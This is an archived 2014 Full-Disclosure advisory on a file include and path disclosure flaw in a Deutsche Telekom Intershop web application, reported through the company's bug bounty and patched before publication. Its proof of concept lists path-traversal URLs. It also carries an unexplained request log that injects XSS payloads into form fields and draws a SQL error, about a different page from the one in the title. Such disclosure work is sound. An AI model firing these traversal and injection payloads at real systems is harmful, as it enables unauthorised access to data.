'[Full-disclosure] Telekom Bug Bounty #12 - File Include Web Vulnerability'

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List:       full-disclosure
Subject:    [Full-disclosure] Telekom Bug Bounty #12 - File Include Web Vulnerability
From:       Vulnerability Lab <admin () vulnerability-lab ! com>
Date:       2014-02-27 11:10:36
Message-ID: 530F1D2C.3010408 () vulnerability-lab ! com
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Document Title:
===============
Telekom Bug Bounty #12 - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1178


Release Date:
=============
2014-02-27


Vulnerability Laboratory ID (VL-ID):
====================================
1178


Common Vulnerability Scoring System:
====================================
7.1


Product & Service Introduction:
===============================
Deutsche Telekom AG (English: German Telecom) is a German telecommunications company \
headquartered in Bonn, North Rhine-Westphalia, Germany.  Deutsche Telekom was formed in 1996 as \
the former state-owned monopoly Deutsche Bundespost was privatized. As of June 2008, the German \
 government still holds a 15% stake in company stock directly, and another 17% through the \
government bank KfW.

(Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom  &  \
http://www.telekom.com/bug-bounty  )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a file include web vulnerability in an \
official German Telekom website web-application.


Vulnerability Disclosure Timeline:
==================================
2014-01-01: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2014-01-03: Vendor Notification (Telekom CERT Security Team)
2014-01-16: Vendor Response/Feedback (Telekom CERT Security Team)
2014-02-20: Vendor Fix/Patch (Telekom Developer Team)
2014-02-27: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Deutsche Telekom (German Telecom)
Product: InterShop - Web Application (Framework) 2014 Q1


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file/path include and arbitrary file upload vulnerability has been discovered in the \
official Telekom GT INTERSHOP website web-application. The arbitrary file upload issue and file \
include web vulnerability allows attackers to unauthorized include/request/access or upload own \
files/ context.

The local file include and arbitrary file upload web vulnerability is located in the vulnerable \
parameter `filelist` of the file `ViewStaticContent-Start`.  Remote attackers, if they know the \
main correct path, can view the source code of any file on the system. The issue has the \
character of a file include  but also an arbitrary file upload issue. The security risk of the \
arbitrary file upload and  local file include web vulnerability is estimated as  high with a \
cvss (common vulnerability scoring system) count of 7.1(+).

Exploitation of the local file include and arbitrary file upload web vulnerability requires no \
user interaction or privileged web user account.  Successful exploitation of the local web \
vulnerability results in web-application compromise by unauthorized local file include web \
attacks.

Vulnerable Parameter(s):
				[+] filelist

Affected Module(s):
				[+] ViewStaticContent-Start


Proof of Concept (PoC):
=======================
The local file include and arbitrary file include web vulnerability can be exploited by remote \
attackers without user interaction or privileged user account. For security demonstration or to \
reproduce the web vulnerability follow the provided information and steps below.

1) By visiting: https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start
 ?filelist=css/default/process/process_apds.css&filetype=js
2) we will notice the source code of the css file
3) if we changes the file type from js to css 	
4) the link will become:
	https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start
 ?filelist=css/default/process/process_apds.css&filetype=css
5) We will notice that the paths of the different files in the css file have been changed from \
relative paths to absolute paths in the frst link the path of the images was similar to this: 
background: url(../../../images/symbols/BG_APDS_tarif_grau.gif) no-repeat;	
After changing the "filetype" parameter from js to css, the path has became:
background: url(/is-bin/intershop.static/WFS/EKI-PK-Site/EKI-PK/de_DE/images/symbols/BG_APDS_tarif_grau.gif) \
no-repeat;	

we see that the paths changed from relative paths to absolute ones which considered as path \
disclosure vulnerability

To include a file for example the following image:
../../../images/symbols/BG_APDS_tarif_grau.gif
we can change the vulnerable link to be:
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start?filelist=images/symbols/BG_APDS_tarif_grau.gif&filetype=css


Another way to include the same image is:
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start
 ?filelist=../de_DE/images/symbols/BG_APDS_tarif_grau.gif&filetype=css

In this link we go back one folder and then we go inside the folder again. The folder name is \
"de_DE" which we got from the path disclosure vulnerability


--- PoC Session Logs ---

//The Send request
POST /englishtest2004/test.asp 
HTTP/1.1
Host: gt.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://gt.telekom.de/englishtest2004/html/intro_11.htm
Cookie: 
_ga=GA1.2.1524944686.1388633141; ASPSESSIONIDQAQRBTRB=PJJNFNFCCPEDGGLMFOGEGNGK
Connection: 
keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 
482
response=%2Fenglishtest2004%2Fhtml%2Fstarttest.htm&to=hans-juergen.grunwald%40telekom.de&from=
&subject=Fokus_Sprachen_%26_Seminare-Login&smtphost=localhost&mailbody='&NAME=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&VORNAME=
 %22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&PLZ=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&EMAIL=%22%3E%3Cimg+src%3Dx+
 onerror%3Dalert%281%29%3E&TELEFON=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ORT=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E


//Response
HTTP/1.1 500 Internal Server Error
Date: Thu, 02 Jan 2014 03:49:47 GMT
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Content-Length: 572
Content-Type: text/html
Cache-control: private
insert into  Sprachtest(Name, Vorname,PersNr,Telefon,Fax, Ergebnis)VALUES 
('"><img src=x onerror=alert(1)>','"><img src=x onerror=alert(1)>','','"><img src=x onerror ',' \
',''');  <font face="Arial" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>
error '80040e14'</font>
<p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Kein 
schlieÃŸendes AnfÃ¼hrungszeichen nach der Zeichenfolge '');'.</font>
<p>
<font face="Arial" size=2>
/englishtest2004/test.asp</font><font face="Arial" size=2>, line 23</font> 


Picture(s):
				../1.png
				../2.png
				../3.png

Resource(s):
				../poc-session-results.txt


Solution - Fix & Patch:
=======================
The local file include web vulnerability can be patched by a secure filter restriction and \
encode to parse the vulnerable filelist parameter. Ensure the back request of the filetype to \
the css is secure and make a proof to validate.

2014-02-20: Vendor Fix/Patch (Telekom Developer Team)



Security Risk:
==============
The security risk of the local file include web vulnerability is estimated as high(+).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed (ibrahim@evolution-sec.com) \
[www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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exclusion or limitation of liability for consequential or incidental damages so the foregoing \
limitation  may not apply. We do not approve or encourage anybody to break any vendor licenses, \
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